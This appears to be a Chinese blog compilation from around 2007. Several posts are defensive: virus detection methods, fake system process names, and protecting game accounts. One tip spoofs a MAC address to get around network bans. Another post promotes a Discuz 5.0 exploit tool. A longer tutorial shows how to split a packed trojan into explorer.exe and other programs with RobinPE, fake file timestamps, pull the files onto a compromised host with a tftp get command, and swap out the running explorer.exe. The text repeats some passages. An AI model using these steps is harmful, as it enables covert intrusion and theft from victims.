分析法分为静态和动态两种。静态分析是指利用Debug等反汇编程序将病毒代码打印成反汇编后的程序清单进行分析,看病毒分成哪些模块,使用了哪些系统调用,采用了哪些技巧,如何将病毒感染文件的过程翻转为清除病毒、修复文件的过程,哪些代码可被用做特征码以及如何防御这种病毒等等。分析人员的素质越高,分析过程就越快,理解也就越深;动态分析则是指利用Debug等程序调试工具在内存带毒的情况下,对病毒作动态跟踪,观察病毒的具体工作过程,以进一步在静态分析的基础上理解病毒工作的原理。在病毒编码比较简单的情况下,动态分析不是必须的。但是,当病毒采用了较多的技术手段时,就必须使用动、静相结合的分析方法才能完成整个分析过程。  

综上所述,利用原始备份和被检测程序相比较的方法适合于不用专用软件,可以发现异常情况的场合,是一种简单、基本的病毒检测方法;扫描特征串和识别特性字的方法更适用于广大PC机用户使用,方便而又迅速;但对新出现的病毒会出现漏检的情况,须要与分析和比较法结合使用。  

通过采取技术上和管理上的措施,电脑病毒是完全可以防范的。

Tags: , , ,

病毒要进行传染,必然会留下痕迹。生物医学病毒如此,电脑病毒也是一样。检测电脑病毒,就要到病毒寄生场所去检查,发现异常情况,并进而验明“正身”,确认电脑病毒的存在。电脑病毒静态时存储于硬盘中,被激活时驻留在内存中,因此对电脑病毒的检测可以分为对硬盘的检测和对内存的检测。

一般对硬盘进行病毒检测时,要求内存中不带病毒,因为某些电脑病毒会向检测者报告假情况。例如“4096”病毒在内存中时,查看被它感染的文件,不会发现该文件的长度已发生变化,而当在内存中没有病毒时,才会发现文件长度已经增lk了4096字节;又例如,“DIR2”病毒在内存中,用Debug程序查看被感染文件时,根本看不到“DIR2”病毒的代码,很多检测程序因此而漏过了被感染的文件;还有引导区型的“巴基斯坦智囊”病毒,当它活跃在内存中时,检查引导区就看不到病毒程序而只看到正常的引导扇区。因此,只有在要求确认某种病毒的类型和对其进行分析、研究时,才能在内存中带毒的情况下作检测工作。  

从原始的、未受病毒感染的DOS系统软盘启动,可以保证内存中不带病毒。启动必须是上电启动而不是按键盘上的“Alt+Ctrl+Del”三键的那种热启动,因为某些病毒可以通过截取键盘中断,将自己驻留在内存中。检测硬盘中的病毒,启动系统软盘的DOS版本号应该等于或高于硬盘内DOS系统的版本号。如果硬盘上使用了硬盘管理软件DM、ADM,硬盘压缩存储管理软件Stacker、DoubleSpace等,启动系统软盘时应把这些软件的驱动程序包括在软盘上,并把它们写入config.sys文件中,否则用系统软盘引导启动后,将不能访问硬盘上的所有分区,使躲藏在其中的病毒逃过检查。  

检测硬盘中的病毒可分成检测引导区型病毒和检测文件型病毒。这两种检测的原理上相同,但由于病毒的存储方式不同,检测方法还是有差别的。主要是基于下列四种方法:比较被检测对象与原始备份的比较法;利用病毒特征代码串进行查找的搜索法;搜索病毒体内特定位置的特征字识别法;运用反汇编技术分析被检测对象,确证是否为病毒的分析法。   

比较法  

这是用原始备份与被检测的引导扇区或被检测的文件进行比较的方法,可以用打印的代码清单(比如Debug的D命令输出格式)进行比较,也可用程序来进行比较(如DOS的DISKCOMP、COMP或PCTOOLS等其它软件)。比较法不需要专用的查病毒程序,只要用常规DOS软件和PCTOOLS等工具软件就可以进行,而且还可以发现那些尚不能被现有的杀毒软件发现的计算机病毒。因为病毒传播得很快,新病毒层出不穷,而目前还没有能查出一切病毒的通用程序,或通过代码分析,可以判定某个程序中是否含有病毒的查毒程序,所以只有靠比较法和分析法,或这两种方法相结合来发现新病毒。 对硬盘的主引导区或对DOS的引导扇区作检查,用比较法能发现其中的程序源代码是否发生了变化。由于要进行比较,因此保留好原始备份是非常重要的。制作备份时必须在无电脑病毒的环境里进行,制作好的备份必须妥善保管,写好标签,贴好写保护。比较法的好处是简单、方便,不用专用软件;缺点是无法确认病毒的种类名称。另外,造成被检测程序与原始备份之间差别的原因尚需进一步验证,以查明是电脑病毒造成的,还是DOS数据被偶然原因,如突然停电、程序失控、恶意程序等破坏的。这些要用到以后讲的分析法,查看变化部分代码的性质,以此来确认是否存在病毒。  

搜索法  

这种方法主要是对每一种病毒含有的特定字符串进行扫描,如果在被检测对象内部发现了某一种特定字节串,就表明发现了该字节串所代表的病毒。国外称这种按搜索法工作的病毒扫描软件为“Scanner”。这种病毒扫描软件由两部分组成:一部分是病毒代码库,含有经过特别选定的各种电脑病毒的代码串;另一部分是利用该代码库进行扫描的扫描程序,病毒扫描程序能识别的电脑病毒的数目完全取决于病毒代码库内所含病毒种类的多少。病毒代码串的选择是非常重要的,短小的病毒代码只有一百多个字节,长的也只有10KB字节。一定要在仔细分析程序之后选出最具代表特性的,足以将该病毒区别于其它病毒和该病毒的其它变种的代码串。一般情况下,代码串是由连续若干个字节组成的,但是有些扫描软件采用的是可变长串,即在串中包含有一个到几个“模糊”字节。扫描软件遇到这种串时,只要除“模糊”字节之外的字串都能完好匹配,就也能够判别出病毒。另外,特征串还必须能将病毒与正常的非病毒程序区,不然就会出现“假报、误报”。  

特征字识别法  

这是基于特征串扫描法发展起来的一种方式,运行速度较快、误报频率较低。特征字识别法只须从病毒体内抽取很少的几个关键特征字,组成特征字库。由于需要处理的字节很少,又不必进行串匹配,因此大大加快了识别速度,当被处理的程序很大时,用这种办法比较合适。由于特征字识别法更注意电脑病毒的“程序活性”,因此减少了错报的可能性。使用基于特征串扫描法的查病毒软件方法与使用基于特征字识别法的查病毒软件方法是一样的,只要运行查毒程序,就能将已知的病毒检查出来。这两种方法的使用,都须要不断地对病毒库进行扩充,一旦捕捉到病毒,经过提取特征并加入到病毒库,就能使查病毒程序多检查出一种新病毒来。  

分析法

这种方法一方面可以确认被观察的磁盘引导区和程序中是否含有病毒,另一方面可以辨认病毒的类型和种类,判定是否为一种新病毒,另外还可以搞清楚病毒体的大致结构,提取用于特征识别的字节串或特征字,增添到病毒代码库中供病毒扫描和识别程序使用。同时,详细地分析病毒代码,还有助于制定相应的反病毒方案。与前三种检测病毒的方法不同,使用分析法检测病毒,除了要具有相关的知识外,还需要使用Debug、Proview等分析工具程序和专用的试验用计算机。因为即使是很精通病毒的技术人员,使用性能完善的分析软件,也不能完全保证在短时间内将病毒代码分析清楚;而病毒则有可能在被分析阶段继续传染甚至发作,把软盘、硬盘内的数据完全毁坏掉,所以分析工作必须在专门的试验用PC机上进行,不怕其中的数据被破坏。不具备必要的条件,不要轻易开始分析工作。很多电脑病毒采用了自加密、抗跟踪等技术,使得分析病毒的工作经常是冗长枯燥的。特别是某些文件型病毒的源代码可达10KB以上,与系统的牵扯层次很深,使详细的剖析工作十分复杂。病毒检测的分析法是反病毒工作中不可或缺的重要技术,任何一个性能优良的反病毒系统的研制和开发都离不开专门人员对各种病毒详尽、认真的分析。  

分析法分为静态和动态两种。静态分析是指利用Debug等反汇编程序将病毒代码打印成反汇编后的程序清单进行分析,看病毒分成哪些模块,使用了哪些系统调用,采用了哪些技巧,如何将病毒感染文件的过程翻转为清除病毒、修复文件的过程,哪些代码可被用做特征码以及如何防御这种病毒等等。分析人员的素质越高,分析过程就越快,理解也就越深;动态分析则是指利用Debug等程序调试工具在内存带毒的情况下,对病毒作动态跟踪,观察病毒的具体工作过程,以进一步在静态分析的基础上理解病毒工作的原理。在病毒编码比较简单的情况下,动态分析不是必须的。但是,当病毒采用了较多的技术手段时,就必须使用动、静相结合的分析方法才能完成整个分析过程。  

综上所述,利用原始备份和被检测程序相比较的方法适合于不用专用软件,可以发现异常情况的场合,是一种简单、基本的病毒检测方法;扫描特征串和识别特性字的方法更适用于广大PC机用户使用,方便而又迅速;但对新出现的病毒会出现漏检的情况,须要与分析和比较法结合使用。  

通过采取技术上和管理上的措施,电脑病毒是完全可以防范的。

Tags: , , ,
我们都知道一些公司,学校等都会对网络进行统一管理,其中一个很重要的统一管理是就是根据网卡的物理地址绑定IP地址。如果你在公司上网,进行BT下载,QQ上网等违反了规定的,网管就可以根据你所登记的网卡地址封了你的IP地址。

要解决IP被封的问题根本就是要修改网卡地址,修改网卡MAC地址有多种方法:

一、直接修改

打开网络连接,在“本地连接”的小电脑图标,右键打开“属性”。如下图
点击在新窗口中浏览此图片

点击上图的配置,在下图选择“Network Address”,然后在右侧的“值”中输入12个十六进制的数字(注意,mac地址每一位从0-F都是合法的,如00-50-8D-11-2F-9B,前3个字节表示制造商,后三个字节表示编号),单击“确定”保存设置,之后停用网络,在启用网络便可(或者重启电脑)如下图:
点击在新窗口中浏览此图片
二、修改注册表

如果网卡不支持直接修改,就可以通过注册表来完成。

1 、在 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass{4D36E972-E325-11CE- BFC1-08002BE10318},之后就会看到0000 、 0001 、 0002 等主键下,查找 DriverDesc ,内容为你要修改的网卡的描述,如“ NVIDIA nforce Networking Controller”。如下图:

点击在新窗口中浏览此图片
2 、在其下,添加一个字符串,命名为 NetworkAddress ,其值设为你要的 MAC 地址(注意地址还是连续写)。如: 00E0DDE0E0E0 。

3 、然后到其下 Ndiparams 中添加一项名为 NetworkAddress 的主键,在该主键下添加名为 default 的字符串,其值是你要设的 MAC 地址,要连续写,如: 000000000000 。(实际上这只是设置在后面提到的高级属性中的“初始值”,实际使用的 MAC 地址还是取决于在第 2 点中提到的 NetworkAddress 参数,这个参数一旦设置后,以后高级属性中的值就是 NetworkAddress 给出的值而非 default 给出的了。)

4 、在 NetworkAddress 的主键下继续添加名为 ParamDesc 的字符串,其作用为指定 NetworkAddress 主键的描述,其值可自己命名,如“ Network Address ”,这样在网卡的高级属性中就会出现 Network Address 选项,就是你刚在注册表中加的新项 NetworkAddress ,以后只要在此修改 MAC 地址就可以了。继续添加名为 Optional 的字符串,其值设为“ 1 ”,则以后当你在网卡的高级属性中选择 Network Address 项时,右边会出现“不存在”选项。

5 、重新启动你的计算机,打开网络邻居的属性,双击相应网卡项会发现有一个 Network Address 的高级设置项,可以用来直接修改 MAC 地址或恢复原来的地址。
Tags:
任何病毒和木马存在于系统中,都无法彻底和进程脱离关系,即使采用了隐藏技术,也还是能够从进程中找到蛛丝马迹,因此,查看系统中活动的进程成为我们检测病毒木马最直接的方法。但是系统中同时运行的进程那么多,哪些是正常的系统进程,哪些是木马的进程,而经常被病毒木马假冒的系统进程在系统中又扮演着什么角色呢?请看本文。 病毒进程隐藏三法 当我们确认系统中存在病毒,但是通过“任务管理器”查看系统中的进程时又找不出异样的进程,这说明病毒采用了一些隐藏措施,总结出来有三法: 1.以假乱真 系统中的正常进程有:svchost.exe、explorer.exe、 iexplore.exe、winlogon.exe等,可能你发现过系统中存在这样的进程:svch0st.exe、explore.exe、 iexplorer.exe、winlogin.exe。对比一下,发现区别了么?这是病毒经常使用的伎俩,目的就是迷惑用户的眼睛。通常它们会将系统中正常进程名的o改为0,l改为i,i改为j,然后成为自己的进程名,仅仅一字之差,意义却完全不同。又或者多一个字母或少一个字母,例如 explorer.exe和iexplore.exe本来就容易搞混,再出现个iexplorer.exe就更加混乱了。如果用户不仔细,一般就忽略了,病毒的进程就逃过了一劫。 2.偷梁换柱 如果用户比较心细,那么上面这招就没用了,病毒会被就地正法。于是乎,病毒也学聪明了,懂得了偷梁换柱这一招。如果一个进程的名字为svchost.exe,和正常的系统进程名分毫不差。那么这个进程是不是就安全了呢?非也,其实它只是利用了“任务管理器”无法查看进程对应可执行文件这一缺陷。我们知道svchost.exe进程对应的可执行文件位于“C:\WINDOWS\ system32”目录下(Windows 2000则是C:\WINNT\system32目录),如果病毒将自身复制到“C:\WINDOWS\”中,并改名为svchost.exe,运行后,我们在“任务管理器”中看到的也是svchost.exe,和正常的系统进程无异。你能辨别出其中哪一个是病毒的进程吗? 3.借尸还魂 除了上文中的两种方法外,病毒还有一招终极大法——借尸还魂。所谓的借尸还魂就是病毒采用了进程插入技术,将病毒运行所需的dll文件插入正常的系统进程中,表面上看无任何可疑情况,实质上系统进程已经被病毒控制了,除非我们借助专业的进程检测工具,否则要想发现隐藏在其中的病毒是很困难的。 系统进程解惑 上文中提到了很多系统进程,这些系统进程到底有何作用,其运行原理又是什么?下面我们将对这些系统进程进行逐一讲解,相信在熟知这些系统进程后,就能成功破解病毒的“以假乱真”和“偷梁换柱”了。 Svchost.exe 常被病毒冒充的进程名有:svch0st.exe、schvost.exe、scvhost.exe。随着Windows系统服务不断增多,为了节省系统资源,微软把很多服务做成共享方式,交由svchost.exe进程来启动。而系统服务是以动态链接库(DLL)形式实现的,它们把可执行程序指向scvhost,由cvhost调用相应服务的动态链接库来启动服务。我们可以打开“控制面板”→“管理工具”→服务,双击其中“ClipBook”服务,在其属性面板中可以发现对应的可执行文件路径为“C:\WINDOWS\system32\clipsrv.exe”。再双击Alerter”服务,可以发现其可执行文件路径为“C:\WINDOWS\system32\svchost.exe -k LocalService”,而“Server”服务的可执行文件路径为“C:\WINDOWS\system32\svchost.exe -k netsvcs”。正是通过这种调用,可以省下不少系统资源,因此系统中出现多个svchost.exe,其实只是系统的服务而已。 在Windows2000系统中一般存在2个svchost.exe进程,一个是RPCSS(RemoteProcedureCall)服务进程,另外一个则是由很多服务共享的一个svchost.exe;而在WindowsXP中,则一般有4个以上的svchost.exe服务进程。如果svchost.exe进程的数量多于5个,就要小心了,很可能是病毒假冒的,检测方法也很简单,使用一些进程管理工具,例如Windows优化大师的进程管理功能,查看svchost.exe的可执行文件路径,如果在“C:\WINDOWS\system32”目录外,那么就可以判定是病毒了。 Explorer.exe 常被病毒冒充的进程名有:iexplorer.exe、expiorer.exe、 explore.exe。explorer.exe就是我们经常会用到的“资源管理器”。如果在“任务管理器”中将explorer.exe进程结束,那么包括任务栏、桌面、以及打开的文件都会统统消失,单击“任务管理器”→“文件”→“新建任务”,输入“Explorer.exe”后,消失的东西又重新回来了。explorer.exe进程的作用就是让我们管理计算机中的资源。 Explorer.exe进程默认是和系统一起启动的,其对应可执行文件的路径为“C:\Windows”目录,除此之外则为病毒。 Iexplore.exe 常被病毒冒充的进程名有:iexplorer.exe、 iexploer.exeiexplorer.exe进程和上文中的explorer.exe进程名很相像,因此比较容易搞混,其实 iexplorer.exe是Microsoft Internet Explorer所产生的进程,也就是我们平时使用的IE浏览器。知道作用后辨认起来应该就比较容易了,iexplorer.exe进程名的开头为 “ie”,就是IE浏览器的意思。 iexplore.exe进程对应的可执行程序位于C:\ ProgramFiles\InternetExplorer目录中,存在于其他目录则为病毒,除非你将该文件夹进行了转移。此外,有时我们会发现没有打开IE浏览器的情况下,系统中仍然存在iexplore.exe进程,这要分两种情况:1.病毒假冒iexplore.exe进程名。2.病毒偷偷在后台通过iexplore.exe干坏事。因此出现这种情况还是赶快用杀毒软件进行查杀吧。 Rundll32.exe 常被病毒冒充的进程名有:rundl132.exe、rundl32.exe。 rundll32.exe在系统中的作用是执行DLL文件中的内部函数,系统中存在多少个Rundll32.exe进程,就表示Rundll32.exe 启动了多少个的DLL文件。其实rundll32.exe我们是会经常用到的,他可以控制系统中的一些dll文件,举个例子,在“命令提示符”中输入 “rundll32.exe user32.dll,LockWorkStation”,回车后,系统就会快速切换到登录界面了。rundll32.exe的路径为“C:\ Windows\system32”,在别的目录则可以判定是病毒。 Spoolsv.exe 常被病毒冒充的进程名有:spoo1sv.exe、spolsv.exe。spoolsv.exe是系统服务“Print Spooler”所对应的可执行程序,其作用是管理所有本地和网络打印队列及控制所有打印工作。如果此服务被停用,计算机上的打印将不可用,同时spoolsv.exe进程也会从计算机上消失。如果你不存在打印机设备,那么就把这项服务关闭吧,可以节省系统资源。停止并关闭服务后,如果系统中还存在spoolsv.exe进程,这就一定是病毒伪装的了。 限于篇幅,关于常见进程的介绍就到这里,我们平时在检查进程的时候如果发现有可疑,只要根据两点来判断:1.仔细检查进程的文件名;2.检查其路径。通过这两点,一般的病毒进程肯定会露出马脚。 找个管理进程的好帮手 系统内置的“任务管理器”功能太弱,肯定不适合查杀病毒。因此我们可以使用专业的进程管理工具,例如Procexp。Procexp可以区分系统进程和一般进程,并且以不同的颜色进行区分,让假冒系统进程的病毒进程无处可藏。 运行Procexp后,进程会被分为两大块,“System Idle Process”下属的进程属于系统进程, Explorer.exe”下属的进程属于一般进程。我们介绍过的系统进程 svchost.exe、winlogon.exe等都隶属于“System Idle Process”,如果你在“explorer.exe”中发现了svchost.exe,那么不用说,肯定是病毒冒充的。
Tags: , , , ,

网络游戏世界里,一件极品装备、一个高级帐号,不知要花费玩家多少金钱、心血和不眠之夜。对其倾注的感情更是无法用金钱衡量。因此,玩家最为担心的事情,莫过于自己的游戏帐号被盗窃,虚拟物品不翼而飞。最近经常看到某某玩家帐号被盗,帐号被盗自己心血全无,对游戏也失去信心,心恢意冷。朋友们也会为你伤心。所以怎么保护自己的帐号,就显得非常重要!

  首先我们来了解盗取帐号的常见方法或手段!

  1、使用木马等黑客软件

  通过在用户计算机中安装或当用户浏览网页、下载东西时将木马自动植入用户的计算机中,此类程序隐蔽性较高,会将用户输入账号密码时的键盘记录发送到盗号者手中。更有一些软件可以监控到用户计算机的任何动作。

  2、窥视

  当玩家在公众场合进入游戏时,盗号者便在一旁偷看到玩家的密码的输入,然后进行记录。

  3、冒充官方及游戏管理人员

  (1)使用诸如“活动主持人”“奖品发放员”“gamemaster”等与GM相似意寓的名称或在冒充官方工作人员并以“发送奖品”等种种借口向玩家索要账号密码。

  (2)制作虚假的网站,冒充官方发布一些虚假新闻以骗取玩家相关账号资料

  4、外挂及虚假客户端程序

  某些程序伪装为网游的客户端,当玩家使用本程序并输入账号信息,此信息将发送至盗号者。

  外挂制作者只要在外挂中增加一个程序便可很容易得到使用者的账号信息。

  知道了帐号是如何被盗的,我们就可以采取相应的防御措施。

  刚才说的几种盗取手段可以分为技术性盗取和非技术性盗取!

  上面所说的第二和第三种盗取手段应该属于非技术性盗取,防范措施相对来说就简单一些,注意以下几点:

  1.在公众场合尽量比较隐蔽、快速的输入密码并注意周边是否有他人窥视

  2.真正的GM不会在任何情况下以任何理由向玩家索要密码

  3.不要在其它任何非官方的网站中填写或登陆自己的网游账号

  4.如果冒充官方网站的情况,及时向官方举报

  对于第一和第四种盗取手段应该技术性盗取,防范措施想对来说就比较复杂。下面做详细说明:

  一.目前,很多人在各种论坛中发布各种所谓的外 挂程序,或者不明网站的链接,我们奉劝各位,千万不要点击。因为那很有可能会捆绑一个“键盘纪录器”。

  1、请将IE的INTERNET选项的高级设置为恢复默认设置。

  2、不要安装和下载一些来历不明的软件,特别是一些所谓的外 挂程序。

  3、不要随便打开来历不明信件的附件。

  4、安装最新杀毒软件,并定时升级病毒库。

  5、小心网吧的计算机上安装有记录键盘操作的软件,或被安装了木马。使用网吧计算机时,需先按CTRL,ALT,DEL三个键,看看是否有来历不明的程序正在运行,如果有,则立即将该程序结束任务。

  6、网吧上网的用户,最好先扫描一下机器看是否有木马程序。

  二.针对于一些暴力破解密码的软件,破解用户的帐号密码,这种方法主要是通过使用一些暴力破解密码的软件,用穷举法逐个的尝试用户的帐号密码,但需要使用者有一定的电脑知识,而且破解需要很长时间

  1、尽量避免将游戏帐号暴露在公众论坛和其他网站。

  2、用户在设置密码时,尽量设置的复杂一点,最好设置为8位数以上的字母、数字和其他符号的组合。

  3、不要使用可轻易获得的关于您的信息作为密码。这包括生日、身份证号码、手机号码、您所居住的街道的名字等等。

  4、经常更换密码,因为8位数以上的字母、数字和其他符号的组合也不是无懈可击的。

  5、申请密码保护(吞食即为暗码),也就是设置安全码,安全码不要和密码设置的一样。如果您没有设置安全码,那么别人一旦破解您的密码,就可以把您的密码和注册资料(除证件号码外)全部修改。

  三.木马防御全攻略

  木马,一直以来都是盗号人员不可缺少的软件,首先我们来认识一下这个罪恶之星。

  “我想,我们应该烧掉这个东西。”3000多年前,面对希腊人突然遗留在战场废墟上的这只巨大的木马,特洛伊王国的小王子帕里斯对他的父王说。因为他有一种不安的感觉,这个突然出现的物体会带来厄运。然而没有人听他的话,整个军队固执的把这只庞然大物作为战利品运回了城里。几天后的夜里,藏在木马里的希腊士兵从内部打开了特洛伊那坚不可摧的城门——特洛伊因此沦陷。这就是木马名称的由来。

  1、什么是木马

  木马当然不是幼儿园里小朋友的玩具(可偏偏有人还这么认为过),而是一种远程控制软件。在杀毒软件的眼里,木马是病毒,是“带有恶意性质的黑客工具”。木马一般分为客户端(client)和服务端(server),客户端就是你自己使用的各种命令的控制台,服务端则是要给别人运行,只有当运行过服务端的电脑才能够“完全由你控制”!

  2、木马有什么用

  是不是曾有人在你面前炫耀过他能搞到别人的上网帐号?或者是五六位数的QQ密码?或者是网友的玉照?

  在你没有认识木马前,这些炫耀者在你眼里无疑是神秘而崇拜的,你也可以轻易做到这个了!木马既然能够远程控制别人的计算机,那么它的计算机上的一切就都是你的,对你来说,他已毫无秘密可言

  1、您的计算机是否已被装了木马?如何检测?

  1)检查注册表

  看HKEY_LOCAL_MACHINE/SOFTWARE/MicrosoftWindows/Curren Version 和HKEY_CURRENT_USER/Software/MicrosoftWindows/CurrentVersion下,所有以Run开头的键值名,其下有没有可疑的文件名。如果有,就需要删除相应的键值,再删除相应的应用程序。

  2)检查启动组

  木马们如果隐藏在启动组虽然不是十分隐蔽,但这里的确是自动加载运行的好场所,因此还是有木马喜欢在这里驻留的。启动组对应的文件夹为:C:windowsstart menuprogramsstartup,在注册表中的位置: HKEY_CURRENT_USER/Software/MicrosoftWindows/Current Version/ExplorerShell Folders Startup=C:windowsstart menuprogramsstartup。要注意经常检查这两个地方哦!

  3)Win.ini以及System.ini也是木马们喜欢的隐蔽场所,要注意这些地方。

  比方说,Win.ini的[Windows]小节下的load和run后面在正常情况下是没有跟什么程序的,如果有了那就要小心了,看看是什么;在System.ini的[boot]小节的Shell=Explorer.exe后面也是加载木马的好场所,因此也要注意这里了。当你看到变成这样:

  Shell=Explorer.exewind0ws.exe,请注意那个wind0ws.exe很有可能就是木马服务端程序!赶快检查吧。

  4)检查C:windowswinstart.bat、C:windowswininit.ini、Autoexec.bat。木马们也很可能隐藏在那里。

  5)如果是EXE文件启动,那么运行这个程序,看木马是否被装入内存,端口是否打开。如果是,则说明要么是该文件启动木马程序,要么是该文件捆绑了木马程序,只好再找一个这样的程序,重新安装一下了。

  6)木马启动都有一个方式,它只是在一个特定的情况下启动,所以,平时多注意一下你的端口,查看一下正在运行的程序,用此来监测大部分木马应该没问题的。

  2、目前已经有一些专门的清除木马的软件,在新推出天网防火墙里面捆绑有强大的木马清除功能,清除一般木马的机制原理主要是:

  1)检测木马。

  2)找到木马启动文件,一般在注册表及与系统启动有关的文件里能找到木马文件的位置。

  3)删除木马文件,并且删除注册表或系统启动文件中关于木马的信息。

  但对于一些十分狡滑的木马,这些措施是无法把它们找出来的,现在检测木马的手段无非是通过网络连接和查看系统进程,事实上,一些技术高明的木马编制者完全可以通过合理的隐藏通讯和进程使木马很难被检测到。

  3、木马防范工具。

  防范木马工具有很多,请您务必安装一个,以提高您的计算机的安全性。
Tags: , ,

[推荐]Dz5.0最新漏洞利用工具

[ 2007/04/02 00:45 | by pling ]
点击在新窗口中浏览此图片
Dz5.0最新漏洞利用工具
ps:不懂工具怎样使用的朋友可以查看今天的推荐动画
Dz5.0漏洞的原理和工具的使用以及漏洞修补
下载连接
Tags:

见缝插针 伪造木马——RobinPE

[ 2007/03/13 19:18 | by pling ]
将木马后门与图片或程序伪装捆绑在一起,诱使别人打开图片或执行程序,从而在后台悄悄运行木马后门,这是一种常见的木马植入手段。图片木马制造机、EXEBind等,各种各样木马捆绑合并工具大家都见得很多了,使用这些木马捆绑工具虽然可以有效地对木马进行伪装,但是面对嗅觉灵敏的杀毒软件和警惕性安全性日趋提高的上网者来说,这些捆绑工具难免会暴露一些缺点。比如,宿主文件大小在捆绑木马后会发生变化,对于一些体积较大的木马,捆绑后的文件体积变化尤其明显,稍微细心些的用户就很容易识破这种捆绑手段。
有没有隐藏性更高一些的木马捆绑工具呢?是否可以在捆绑了木马后让宿主文件体积不发生变化呢?最新的木马后门植入工具RobinPE,可以将后门文件藏匿在任意的EXE程序文件中,以后每次正常启动程序文件时,我们植入的文件就会悄悄的生成并执行,最重要的是植入木马后宿主文件的大小基本不发生变化。下面就以笔者的使用经历为例,向大家介绍一下这个工具的使用吧!

一、准备植入木马
首先是利用系统漏洞,溢出得到了一台主机Local System权限的Shell,然后克隆管理员帐号,清除了杀毒软件之类的文件上传障碍。其具体过程就不再详述了,下面主要是讲述如何将木马植入Explorer.exe进程中,再将其上传到远程主机上执行并进行控制。
首先需要在本地将木马植入Explorer.exe文件中,这里我们使用一个叫作“Fuck Trojan”的木马,并将对服务端程序“Server.exe”加壳处理以躲过杀毒软件的查杀。备份“Explorer.exe”文件,然后运行工具RobinPE。
二、计算空间——木马植入前的关键
使用RobinPE在正常程序中植入木马后,有一个特点就是程序将保护原来的体积大小不发生变化,从而不易被查觉。其原理就是在植入前先执行计算程序文件可利用的空间,将后门木马植入缝隙而不额外增加代码区块,因此文件的大小不会发生变化。在植入程序前,首先需要计算程序可利用空间,根据计算后得到的结果才能确定可否植入。
打开RobinPE后,点击界面右下角处的“整体植入”按钮,在“后门文件”项中点击浏览选择刚才的木马服务端文件“Server.exe”;然后在“整体植入”中浏览选择备份的“Explorer.exe”文件(如图1)。点击“计算空间”按钮,即可开始计算宿主文件“Explorer.exe”中剩余的空间,对比木马文件“Server.exe”的大小,判断是否可以将文件植入宿主文件中。从最后的计算结果中我们可以看到,木马文件共有“177664”字节,而宿主文件中仅剩下了26531个字节空间,因此该木马显得太大,不能植入Explorer.exe文件中(如图2)。

图1
点击在新窗口中浏览此图片
图2
点击在新窗口中浏览此图片

三、化整为零,分体植入法
怎么办呢?可以换一个体积较小的木马服务端文件,或者更换宿主文件。不过我选的这个木马感觉比较好用,而且不易被查杀,同时Explorer.exe又是一个最佳的木马后门藏身之所,每次系统启动都必须运行这个进程,从而保障了木马能可靠地被执行,因此我打算使用RobinPE的另一种木马植入方法。
刚才使用的“整体植入”,是将木马文件全部植入一个EXE文件之中;而分体植入则是将一个文件拆解植入到多个文件里,这样就保证了木马文件有足够的存放空间。
1.设置多个宿主文件
点击界面右下角的“分体植入”按钮,切换到分体植入界面中(如图3)。在“分解植入”项中点击“添加”按钮,添加多个宿主文件到中间的列表框中。添加完毕后,点击“计算空间”即可计算所有宿主文件总的剩余空间,对比木马文件大小以判断是否能够植入。可以选择添加8个宿主文件,要求所有宿主文件都位于同一目录中,并且在植入后不能将宿主文件随意改名。在这里选择了与Explorer.EXE位于同一目录下的“hh.exe”、“winhelp.exe”等几个文件。

图3
点击在新窗口中浏览此图片
小提示:为了不破坏本地的程序文件,可将这几个宿主文件复制备份到另一文件夹下进行。

2.设置启动文件
在宿主文件列表框中,选择其中一个宿主文件“Explorer.exe”,然后点击右边的“设为启动”,此宿主文件将被作为主启动文件。木马文件还原代码和数据表都将植入到这个文件中,以后只要运行宿主文件,该文件就会自动将分解在各宿主文件中的木马组合还原成完整的程序,并自动执行。
设置完毕后,点击“开始植入”按钮,即可开始将木马服务端程序“Server.exe”文件分解植入到“Explorer.exe”等几个文件中了。
3.修改文件时间
由于植入木马后,启动文件和宿主文件的文件创建和修改日期会发生变化,因此我们需要将文件时间修改恢复原样。在RobinPE中自带了一个叫作“时空机器”的工具,可以修改文件的时间和日期。在文件框中浏览输入文件路径和文件名,然后在界面下方设置程序文件的创建时间和修改时间,最后点击“确认修改”即可(如图4)。

图4
点击在新窗口中浏览此图片
四、上传木马文件
先在本地用金山和瑞星杀毒软件扫描一下被植入木马的启动文件和几个宿主文件,扫描结果未提示有病毒。本来嘛,病毒已经加过壳而且现在被分解了,怎么可能查得出来呢?
现在用TFTPD32.exe在本地建立了一个TFTP服务器(如图5),在远程目标主机的Shell中输入如下命令:“tftp -i 本机IP get 上传文件”,将所有植入木马的文件上传到目标主机的任意目录下。

图5
点击在新窗口中浏览此图片

五、运行木马
现在需要将上传的文件全部复制到对方的“System”目录下,其中除了宿主文件“Explorer.exe”文件外,其它文件都可以直接复制过去。而“Explorer.exe”文件由于正在运行中,因此无法通过复制替换掉。可以采用两种方法:
1.使用“taskkill”命令杀掉“Explorer.exe”进程,输入命令格式如下:“taskkill /F /IM Explorer.exe”。然后再将上传的Explorer.exe文件复制到“System”目录下,运行“explorer”重新运行此命令,木马就在后台悄悄运行了。
2.使用Windows中的“Replace”命令,此命令可以替换掉正在运行中的程序和文件。如图6所示在目标主机Shell中输入命令“Replace c:\windows\system\Explorer.exe c:\temp\”(这里假设“Explorer.exe”上传在c:\temp文件夹下。),就可以用上传的“Explorer.exe”文件替换掉正在运行的程序文件了。重启系统以后,木马就会随“Explorer.exe”自动运行了。

图6
点击在新窗口中浏览此图片
看了上面的方法,大家是不是感觉到又有了一种新思路?将木马分体植入几个文件中,不改变文件的大小,可以有效的躲过查杀;而替换掉系统必调用的程序,使得每次系统启动都会自动运行我们的木马,比将木马添加到注册表启动键值中或放入系统启动程序组中要隐蔽得多了。为植入木马犯愁的朋友不妨可以试一试这个方法。
Tags:
iexplore.exe是Microsoft Internet Explorer的主程序。这个微软Windows应用程序让你在网上冲浪,和访问本地Interanet网络。这不是纯粹的系统程序,但是如果终止它,可能会导致不可知的问题。iexplore.exe同时也是Avant网络浏览器的一部分,这是一个免费的基于Internet Explorer的浏览器。注意iexplore.exe也有可能是Trojan.KillAV.B病毒,该病毒会终止你的反病毒软件,和一些Windows系统工具,该进程的安全等级是建议删除。

这个东西可以说是病毒,也可以说不是病毒。

因为微软的浏览器就是IEXPLORE.EXE,但是它一般情况随系统被安装在C:\Program Files\Internet Explorer下面。那么,如果发现这个文件是在这个目录下面的,一般情况不是病毒,当然,不包括已经被感染了的情况;还有一种情况,就是IEXPLORE.EXE在C:\WINDOWS\system32\下面,那么这个十有八九都是病毒。

系统进程--伪装的病毒 iexplore.exe

